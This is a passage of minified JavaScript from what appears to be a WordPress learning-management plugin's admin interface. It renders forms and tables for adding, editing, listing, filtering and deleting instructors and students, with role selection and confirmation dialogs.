0:e.id,data:e,setBulkIds:I,bulkIds:B,isLoading:h.isLoading||h.isFetching||h.isRefetching,onDeletePress:R})))))))),h.isSuccess&&!$(null==h||null===(o=h.data)||void 0===o?void 0:o.data)&&l().createElement(ba,{metaData:null==h||null===(m=h.data)||void 0===m?void 0:m.meta,setFilterParams:u,perPageText:(0,E.__)("Instructors Per Page:","learning-management-system"),extraFilterParams:{approved:c.approved,search:c.search,order:null==c?void 0:c.order,orderby:null==c?void 0:c.orderby}})),l().createElement(ta,{openToast:k,status:"delete",setBulkAction:S,bulkIds:B,setBulkIds:I,trashable:!1}),l().createElement(Ke.Lt,{isOpen:_,onClose:Q,isCentered:!0,size:"xl",leastDestructiveRef:q},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,""===C||1===B.length?(0,E.__)("Delete User","learning-management-system"):(0,E.__)("Delete Users","learning-management-system")),l().createElement(x.c,null,""===C?l().createElement(g.E,{fontSize:"14px"},(0,E.__)("What should be done with content owned by this user?","learning-management-system")):(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),(""===C||1===B.length)&&l().createElement(ja.z,{defaultValue:"reassign",mt:"4",mb:"4"},l().createElement(d.B,{spacing:"3"},l().createElement(Ze.z,null,l().createElement(Va.s,{value:"reassign",onChange:()=>z.invalidateQueries({queryKey:["allUsers"]})},l().createElement(g.E,null,(0,E.__)("Attribute all content to:","learning-management-system"))),L.isLoading?l().createElement(St.E,{height:"30px",w:"60%"}):l().createElement(aa.l,{size:"sm",w:"xs",value:F,bg:"none !important",onChange:e=>j(e.target.value)},(()=>{try{var e;return null==L||null===(e=L.data)||void 0===e?void 0:e.data.map((e=>{if(e.id!==O&&(1!==B.length||B[0]!==e.id.toString()))return l().createElement("option",{value:e.id,key:e.id},e.display_name," (",e.nicename,")")}))}catch(e){return}})())),l().createElement(Va.s,{value:"",onChange:()=>j(0)},l().createElement(g.E,{color:"red.400"},(0,E.__)("Delete all content.","learning-management-system"))))),l().createElement(g.E,{fontSize:"12px",color:"gray.500",mt:"4"},""===C||1===B.length?(0,E.__)("*Please note that all course progresses and quiz attempts of this user will be deleted and cannot be transfer.","learning-management-system"):(0,E.__)("*Please note that all course progresses and quiz attempts of selected users will be deleted and cannot be transfer. To transfer content please select single instructor or delete individually.","learning-management-system"))),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{ref:q,onClick:Q,variant:"outline"},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",onClick:""===C?()=>{O&&M.mutate(O)}:()=>{T.mutate()},isLoading:M.isPending||h.isFetching||T.isPending},(0,E.__)("Delete","learning-management-system"))))))))};const Th=()=>l().createElement(d.B,{display:"flex",direction:"column",spacing:"8"},l().createElement(ft.s,{flexWrap:"nowrap",gap:"5"},l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"2"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"1"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"}))),l().createElement(ft.s,{flexWrap:"nowrap",gap:"5"},l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"2"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"1"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"}))),l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"1"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"1"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"})));function Uh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Wh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Uh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Uh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Kh=()=>{var e,t,n,r,i,o,m,c,u,g,A,y,f,h,b,w,{userId:C}=(0,vt.g)(),x=(0,vt.Zp)(),S=(0,Je.mN)(),{control:B,handleSubmit:I,register:O,formState:{errors:P,isDirty:D},setValue:_,getValues:k,reset:Q}=S,z=new mt(rt.instructors),q=new mt(rt.roles),F=(0,We.d)(),j=(0,s.jE)(),V=(0,Je.FH)({name:"roles",control:B,defaultValue:[]}),L=(0,Pn.I)({queryKey:["user".concat(C),C],queryFn:()=>z.get(C)});(0,a.useEffect)((()=>{null!=L&&L.isError&&x(Pt.notFound)}),[null==L?void 0:L.isError,x]);var M=(0,Pn.I)({queryKey:["roles"],queryFn:()=>q.get()}),T=(0,wt.n)(Wh({mutationFn:e=>z.update(C,e)},{onSuccess:e=>{Q(k()),F({title:(0,E.__)("User updated successfully.","learning-management-system"),description:"#".concat(e.id," ").concat((0,E.__)(" has been updated successfully.","learning-management-system")),isClosable:!0,status:"success"}),j.invalidateQueries({queryKey:["user".concat(C)]})},onError:e=>{var t;F({description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}}));return(0,a.useEffect)((()=>{var e,t;null!=L&&null!==(e=L.data)&&void 0!==e&&e.roles&&_("roles",null==L||null===(t=L.data)||void 0===t||null===(t=t.formatted_roles)||void 0===t?void 0:t.map((e=>({value:e.value,label:e.label}))),{shouldDirty:!0})}),[_,null==L||null===(e=L.data)||void 0===e?void 0:e.formatted_roles,null==L||null===(t=L.data)||void 0===t?void 0:t.roles]),Ca(D),(0,a.useEffect)((()=>{null!=L&&L.isSuccess&&null!=L&&L.data&&Q(k())}),[null==L?void 0:L.data]),l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.users.instructors.list,_activeLink:on,isActive:!0},(0,E.__)("Edit Instructor","learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl",mt:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.users.instructors.list},l().createElement(Dl,null))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},L.isSuccess?l().createElement(Je.Op,S,l().createElement("form",{onSubmit:I((e=>{if(null==V||!V.find((e=>"masteriyo_instructor"==(null==e?void 0:e.value))))return F({status:"error",title:(0,E.__)("Instructor role is missing.","learning-management-system"),isClosable:!0});var t=H(e.roles);T.mutate(ne(ee(Wh(Wh({},e),{},{roles:t}),{status:e.status?rA.Active:rA.Inactive,instructor_apply_status:null!=e&&e.status?oA.APPROVED:oA.REJECTED})))}))},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(d.B,{direction:["column","column","row","row"],spacing:"6"},l().createElement(d.B,{py:"3",spacing:"3",flex:"1"},l().createElement(ke.D,{as:"h2",fontSize:"lg"},(0,E.__)("Name","learning-management-system")),l().createElement(Ne.MJ,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Username","learning-management-system"),l().createElement(tl,{label:(0,E.__)("Username cannot be changed.","learning-management-system")})),l().createElement(Ma.p,{defaultValue:null==L||null===(n=L.data)||void 0===n?void 0:n.username,disabled:!0})),l().createElement(Ne.MJ,{isInvalid:!(null==P||!P.first_name),py:"3"},l().createElement(Ge.l,null,(0,E.__)("First Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==L||null===(r=L.data)||void 0===r?void 0:r.first_name},O("first_name"))),l().createElement(ui.Wt,null,(null==P?void 0:P.first_name)&&(null==P||null===(i=P.first_name)||void 0===i?void 0:i.message))),l().createElement(Ne.MJ,{isInvalid:!(null==P||!P.last_name),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Last Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==L||null===(o=L.data)||void 0===o?void 0:o.last_name},O("last_name"))),l().createElement(ui.Wt,null,(null==P?void 0:P.last_name)&&(null==P||null===(m=P.last_name)||void 0===m?void 0:m.message))),l().createElement(Ne.MJ,{isInvalid:!(null==P||!P.nickname),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Nickname","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==L||null===(c=L.data)||void 0===c?void 0:c.nickname},O("nickname"))),l().createElement(ui.Wt,null,(null==P?void 0:P.nickname)&&(null==P||null===(u=P.nickname)||void 0===u?void 0:u.message))),null!=R&&R.isCurrentUserAdmin?l().createElement(Ne.MJ,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Roles","learning-management-system")),l().createElement(Je.xI,{name:"roles",control:B,defaultValue:(null==L||null===(g=L.data)||void 0===g?void 0:g.roles)&&(null==L||null===(A=L.data)||void 0===A?void 0:A.formatted_roles.map((e=>({value:null==e?void 0:e.value,label:null==e?void 0:e.label})))),render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(Di,{onChange:t,value:n,closeMenuOnSelect:!1,isMulti:!0,isLoading:M.isLoading,options:null==M?void 0:M.data,noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("No role found.","learning-management-system"):(0,E.__)("No Roles.","learning-management-system")}})}})):null),l().createElement(d.B,{py:"3",spacing:"3",flex:"1"},l().createElement(ke.D,{as:"h2",fontSize:"lg"},(0,E.__)("Contact Info","learning-management-system")),l().createElement(Ne.MJ,{isInvalid:!(null==P||!P.email),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Email address","learning-management-system"),l().createElement("span",{style:{color:"red"},className:"required"},"*")),l().createElement(Ma.p,(0,Re.A)({type:"email",defaultValue:null==L||null===(y=L.data)||void 0===y?void 0:y.email},O("email",{required:(0,E.__)("Email is required.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==P?void 0:P.email)&&(null==P||null===(f=P.email)||void 0===f?void 0:f.message))),l().createElement(Ne.MJ,{isInvalid:!(null==P||!P.url),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Website URL","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"url",defaultValue:null==L||null===(h=L.data)||void 0===h?void 0:h.url},O("url"))),l().createElement(ui.Wt,null,(null==P?void 0:P.url)&&(null==P||null===(b=P.url)||void 0===b?void 0:b.message))),l().createElement(Ne.MJ,{py:"3"},l().createElement(d.B,{direction:"row",align:"flex-start"},l().createElement(Ge.l,null,(0,E.__)("Approved","learning-management-system")),l().createElement($n.m,{label:(0,E.__)("Approve or unapprove the user as instructor.","learning-management-system"),hasArrow:!0,fontSize:"xs"},l().createElement(Qe.a,{as:"span",sx:en},l().createElement(qa.d,(0,Re.A)({colorScheme:"green"},O("status"),{defaultChecked:rA.Active===(null==L||null===(w=L.data)||void 0===w?void 0:w.status)})))))))),l().createElement(Qe.a,{py:"3"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:T.isPending},(0,E.__)("Update","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>x(Pt.users.instructors.list),isDisabled:T.isPending},(0,E.__)("Cancel","learning-management-system")))))):l().createElement(Th,null)))))};function Nh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Gh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Nh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Nh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Hh=()=>{var e,t,n,r,i,o,m=(0,vt.Zp)(),c=(0,Je.mN)(),u=new mt(rt.roles),{handleSubmit:g,control:A,register:y,formState:{errors:f,isDirty:h},setValue:b}=c,w=(0,We.d)(),C=(0,s.jE)(),x=new mt(rt.users),S=(0,Pn.I)({queryKey:["roles"],queryFn:()=>u.get()}),B=(0,Je.FH)({name:"roles",control:A,defaultValue:[]}),I=(0,wt.n)(Gh({mutationFn:e=>x.store(Gh(Gh({},e),{},{created_via:"admin"}))},{onSuccess:e=>{we(C,["usersList",{role:"masteriyo_student",order:"desc",orderby:"registered"}],e),C.invalidateQueries({queryKey:["usersList"]}),w({title:(0,E.__)("New student added successfully.","learning-management-system"),isClosable:!0,status:"success"}),m(Pt.users.students.list)},onError:e=>{w({title:null==e?void 0:e.message,isClosable:!0,status:"error"})}}));return(0,a.useEffect)((()=>{var e;b("roles",[null==S||null===(e=S.data)||void 0===e?void 0:e.find((e=>"masteriyo_student"===(null==e?void 0:e.value)))])}),[null==S?void 0:S.data,b]),Ca(h),l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{_activeLink:on,isActive:!0},(0,E.__)("Add New Student","learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl",mt:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.users.students.list},l().createElement(Dl,null))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},l().createElement(Je.Op,c,l().createElement("form",{onSubmit:g((e=>{if(null==B||!B.find((e=>"masteriyo_student"==(null==e?void 0:e.value))))return w({status:"error",title:(0,E.__)("Student role is missing.","learning-management-system"),isClosable:!0});var t=H(e.roles);I.mutate(ne(Gh(Gh({},e),{},{roles:$(t)?["masteriyo_student"]:t})))}))},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(d.B,{direction:["column","column","row","row"],spacing:"6"},l().createElement(d.B,{spacing:"3",flex:"1"},l().createElement(ke.D,{as:"h2",fontSize:"lg"},(0,E.__)("Name","learning-management-system")),l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Username","learning-management-system"),l().createElement(tl,{label:(0,E.__)("You cannot change username later.","learning-management-system")})),l().createElement(Ma.p,y("username"))),l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Password","learning-management-system"),l().createElement("span",{style:{color:"red"},className:"required"},"*")),l().createElement(Ma.p,(0,Re.A)({type:"password"},y("password",{required:(0,E.__)("Password is required.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==f?void 0:f.password)&&(null==f||null===(e=f.password)||void 0===e?void 0:e.message))),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.first_name)},l().createElement(Ge.l,null,(0,E.__)("First Name","learning-management-system")),l().createElement(Ma.p,y("first_name")),l().createElement(ui.Wt,null,(null==f?void 0:f.first_name)&&(null==f||null===(t=f.first_name)||void 0===t?void 0:t.message))),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.last_name)},l().createElement(Ge.l,null,(0,E.__)("Last Name","learning-management-system")),l().createElement(Ma.p,y("last_name")),l().createElement(ui.Wt,null,(null==f?void 0:f.last_name)&&(null==f||null===(n=f.last_name)||void 0===n?void 0:n.message))),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.nickname)},l().createElement(Ge.l,null,(0,E.__)("Nickname","learning-management-system")),l().createElement(Ma.p,y("nickname")),l().createElement(ui.Wt,null,(null==f?void 0:f.nickname)&&(null==f||null===(r=f.nickname)||void 0===r?void 0:r.message))),null!=R&&R.isCurrentUserAdmin?l().createElement(Ne.MJ,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Roles","learning-management-system")),l().createElement(Je.xI,{name:"roles",control:A,render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(Di,{onChange:t,value:n,closeMenuOnSelect:!1,isMulti:!0,isLoading:S.isLoading,options:null==S?void 0:S.data,noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("No role found.","learning-management-system"):(0,E.__)("No Roles.","learning-management-system")}})}})):null),l().createElement(d.B,{spacing:"3",flex:"1"},l().createElement(ke.D,{as:"h2",fontSize:"lg"},(0,E.__)("Contact Info","learning-management-system")),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.email)},l().createElement(Ge.l,null,(0,E.__)("Email address","learning-management-system"),l().createElement("span",{style:{color:"red"},className:"required"},"*")),l().createElement(Ma.p,(0,Re.A)({type:"email"},y("email",{required:(0,E.__)("Email is required.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==f?void 0:f.email)&&(null==f||null===(i=f.email)||void 0===i?void 0:i.message))),l().createElement(Ne.MJ,{isInvalid:!(null==f||!f.url)},l().createElement(Ge.l,null,(0,E.__)("Website URL","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"url"},y("url"))),l().createElement(ui.Wt,null,(null==f?void 0:f.url)&&(null==f||null===(o=f.url)||void 0===o?void 0:o.message))))),l().createElement(Qe.a,{py:"3"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:I.isPending},(0,E.__)("Add Student","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>m(Pt.users.students.list),isDisabled:I.isPending},(0,E.__)("Cancel","learning-management-system"))))))))))};const Jh=e=>{var{data:t,onDeletePress:n,setBulkIds:a,bulkIds:r,isLoading:i}=e;return l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:i,isChecked:r.includes(t.id.toString()),onChange:e=>a(e.target.checked?[...r,t.id.toString()]:r.filter((e=>e!==t.id.toString())))})),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column"},l().createElement(d.B,{direction:"row",spacing:"1"},l().createElement(je.N,{as:v.N_,to:Pt.users.students.edit.replace(":userId",null==t?void 0:t.id.toString()),fontWeight:"semibold",fontSize:"sm",_hover:{color:"primary.500"}},"#".concat(null==t?void 0:t.id," ").concat(null==t?void 0:t.first_name," ").concat(null==t?void 0:t.last_name)),oA.APPLIED===(null==t?void 0:t.instructor_apply_status)&&l().createElement($n.m,{label:(0,E.__)("Applied for Instructor status. Please edit student for approval.","learning-management-system"),hasArrow:!0,fontSize:"xs"},l().createElement(Qe.a,{as:"span",sx:en},l().createElement($e.I,{boxSize:"4",as:Le.q53,color:"green"})))),l().createElement(g.E,{fontSize:"xs",color:"gray.600"},null==t?void 0:t.display_name))),l().createElement(_n.Td,null,l().createElement(g.E,{fontSize:"sm",color:"gray.600"},null==t?void 0:t.email)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"sm",color:"gray.600"},null!=t&&t.date_created?ie(null==t?void 0:t.date_created,"m/d/Y, h:i A"):(0,E.__)("N/A","masteryio")))),l().createElement(_n.Td,null,l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.users.students.edit.replace(":userId",null==t?void 0:t.id.toString())},l().createElement(p.$,{leftIcon:l().createElement(Da,{icon:_a,boxSize:"12px"}),variant:"outline",size:"xs",colorScheme:"primary"},(0,E.__)("Edit","learning-management-system"))),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>n(t.id),icon:l().createElement(Da,{icon:ea,boxSize:"12px"})},(0,E.__)("Delete","learning-management-system")))))))};const Xh=e=>{var{setFilterParams:t,filterParams:n}=e,{handleSubmit:a,register:r}=(0,Je.mN)(),i=(0,wr.z)({onTypeFinish:e=>{t({search:e,role:"masteriyo_student",instructor_applied:n.instructor_applied})}},800);return l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement("form",{onChange:a((e=>{t(ne(ee(e,{search:n.search,role:"masteriyo_student"})))}))},l().createElement(d.B,{direction:["column",null,"row"],spacing:"4",mt:[6,null,0]},l().createElement(aa.l,(0,Re.A)({},r("instructor_applied"),{w:"52"}),l().createElement("option",{value:""},(0,E.__)("All","learning-management-system")),l().createElement("option",{value:"true"},(0,E.__)("Applied for instructor","learning-management-system"))),l().createElement(Ma.p,(0,Re.A)({placeholder:(0,E.__)("Search by username or email","learning-management-system")},i,{onKeyDown:e=>"Enter"===e.key&&e.preventDefault()})))))};function Yh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Zh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Yh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Yh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const $h=()=>{var e,t,n,r,i,o,[m,c]=(0,a.useState)({role:"masteriyo_student",order:"desc",orderby:"registered"}),u=new mt(rt.users),y=(0,Pn.I)(Zh({queryKey:["usersList",m],queryFn:()=>u.list(m)},{keepPreviousData:!0})),[v,h]=(0,a.useState)(""),[b,C]=(0,a.useState)([]),[S,B]=(0,a.useState)(),I=(0,We.d)(),{isOpen:O,onOpen:P,onClose:D}=(0,Ue.j)(),_=(0,s.jE)(),k=(0,a.useRef)(),Q=(0,vt.Zp)(),z=(e,t)=>c(ee(Zh(Zh({},m),{},{order:e,orderby:t}))),q=(0,wt.n)(Zh({mutationFn:e=>u.delete(e)},{onSuccess:e=>{Ce(_,["usersList",{role:"masteriyo_student",order:"desc",orderby:"registered"}],null==e?void 0:e.id),D(),I({title:(0,E.__)("User deleted successfully.","learning-management-system"),description:"#".concat(S," ").concat((0,E.__)(" has been deleted successfully.","learning-management-system")),isClosable:!0,status:"success"}),_.invalidateQueries({queryKey:["usersList"]})},onError:e=>{I({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),F=e=>{B(e),h(""),C([]),P()},j=(0,wt.n)(Zh({mutationFn:()=>u.bulkDelete("delete",{ids:b})},{onSuccess:()=>{D(),h(""),C([]),I({title:(0,E.__)("Users deleted successfully.","learning-management-system"),isClosable:!0,status:"success"}),_.invalidateQueries({queryKey:["usersList"]})},onError:e=>{I({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Fh,null),l().createElement(De.m,{maxW:"container.xl"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(Xh,{setFilterParams:c,filterParams:m}),l().createElement(_n.XI,null,y.isLoading?l().createElement(Sd,null):y.isSuccess&&$(null==y||null===(e=y.data)||void 0===e?void 0:e.data)?l().createElement(Mn,{onPrimaryButtonClick:()=>{Q(Pt.users.students.add)},title:(0,E.__)("Add Your First Student","learning-management-system"),description:(0,E.__)("Start building your learning community by adding students. Manage their access and track their progress.","learning-management-system"),primaryButtonLabel:(0,E.__)("Add New Student","learning-management-system"),isResultFiltered:Boolean((null==m?void 0:m.search)||(null==m?void 0:m.instructor_applied))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:y.isLoading||y.isFetching||y.isRefetching,isIndeterminate:(null==y||null===(t=y.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.length)!==(null==b?void 0:b.length)&&(null==b?void 0:b.length)>0,isChecked:(null==y||null===(n=y.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.length)===(null==b?void 0:b.length),onChange:e=>{var t;return C(e.target.checked?null==y||null===(t=y.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>{var t;return null==e||null===(t=e.id)||void 0===t?void 0:t.toString()})):[])}})),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Name","learning-management-system")),l().createElement(Sa,{filterParams:m,filterContentBy:z,orderBy:"name"}))),l().createElement(_n.Th,null,(0,E.__)("Email","learning-management-system")),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Registered On","learning-management-system")),l().createElement(Sa,{filterParams:m,filterContentBy:z,orderBy:"registered"}))),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==y||null===(r=y.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.map((e=>l().createElement(Jh,{key:null==e?void 0:e.id,data:e,setBulkIds:C,bulkIds:b,isLoading:y.isLoading||y.isFetching||y.isRefetching,onDeletePress:F})))))))),y.isSuccess&&!$(null==y||null===(i=y.data)||void 0===i?void 0:i.data)&&l().createElement(ba,{metaData:null==y||null===(o=y.data)||void 0===o?void 0:o.meta,setFilterParams:c,perPageText:(0,E.__)("Students Per Page:","learning-management-system"),extraFilterParams:{role:"masteriyo_student",order:null==m?void 0:m.order,orderby:null==m?void 0:m.orderby}})),l().createElement(ta,{openToast:P,status:"delete",setBulkAction:h,bulkIds:b,setBulkIds:C,trashable:!1}),l().createElement(Ke.Lt,{isOpen:O,onClose:D,isCentered:!0,leastDestructiveRef:k},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,""===v?(0,E.__)("Delete User","learning-management-system"):(0,E.__)("Delete Users","learning-management-system")),l().createElement(x.c,null,(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),l().createElement(g.E,{fontSize:"12px",color:"gray.500",mt:"4"},""===v?(0,E.__)("*Please note that all course progresses and quiz attempts of this user will be deleted.","learning-management-system"):(0,E.__)("*Please note that all course progresses and quiz attempts of selected users will be deleted.","learning-management-system"))),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{ref:k,onClick:D,variant:"outline"},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",onClick:""===v?()=>{S&&q.mutate(S)}:()=>{j.mutate()},isLoading:q.isPending||j.isPending},(0,E.__)("Delete","learning-management-system"))))))))};function eb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function tb(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?eb(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):eb(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const nb=()=>{var e,t,n,r,i,o,m,c,u,A,y,f,h,b,w,C,{userId:x}=(0,vt.g)(),S=(0,vt.Zp)(),B=(0,Je.mN)(),{handleSubmit:I,control:O,register:P,formState:{errors:D,isDirty:_},setValue:k,reset:Q,getValues:z}=B,q=new mt(rt.roles),F=new mt(rt.users),j=(0,We.d)(),V=(0,Pn.I)({queryKey:["roles"],queryFn:()=>q.get()}),L=(0,Je.FH)({name:"roles",control:O,defaultValue:[]}),M=(0,s.jE)(),T=(0,Pn.I)({queryKey:["user".concat(x),x],queryFn:()=>F.get(x)});(0,a.useEffect)((()=>{null!=T&&T.isError&&S(Pt.notFound)}),[null==T?void 0:T.isError,S]);var U=(0,wt.n)(tb({mutationFn:e=>F.update(x,e)},{onSuccess:e=>{var t;Q(z()),M.invalidateQueries({queryKey:["user".concat(x)]}),j({title:(0,E.__)("User updated","learning-management-system"),isClosable:!0,status:"success"}),null!=e&&null!==(t=e.roles)&&void 0!==t&&t.includes("masteriyo_instructor")&&S(Pt.users.instructors.list)},onError:e=>{var t;j({description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}}));return(0,a.useEffect)((()=>{var e,t;null!=T&&null!==(e=T.data)&&void 0!==e&&e.roles&&k("roles",null==T||null===(t=T.data)||void 0===t||null===(t=t.formatted_roles)||void 0===t?void 0:t.map((e=>({value:e.value,label:e.label}))),{shouldDirty:!0})}),[k,null==T||null===(e=T.data)||void 0===e?void 0:e.formatted_roles,null==T||null===(t=T.data)||void 0===t?void 0:t.roles]),Ca(_),(0,a.useEffect)((()=>{null!=T&&T.isSuccess&&null!=T&&T.data&&Q(z())}),[null==T?void 0:T.data]),l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.users.students.list,_activeLink:on,isActive:!0},(0,E.__)("Edit 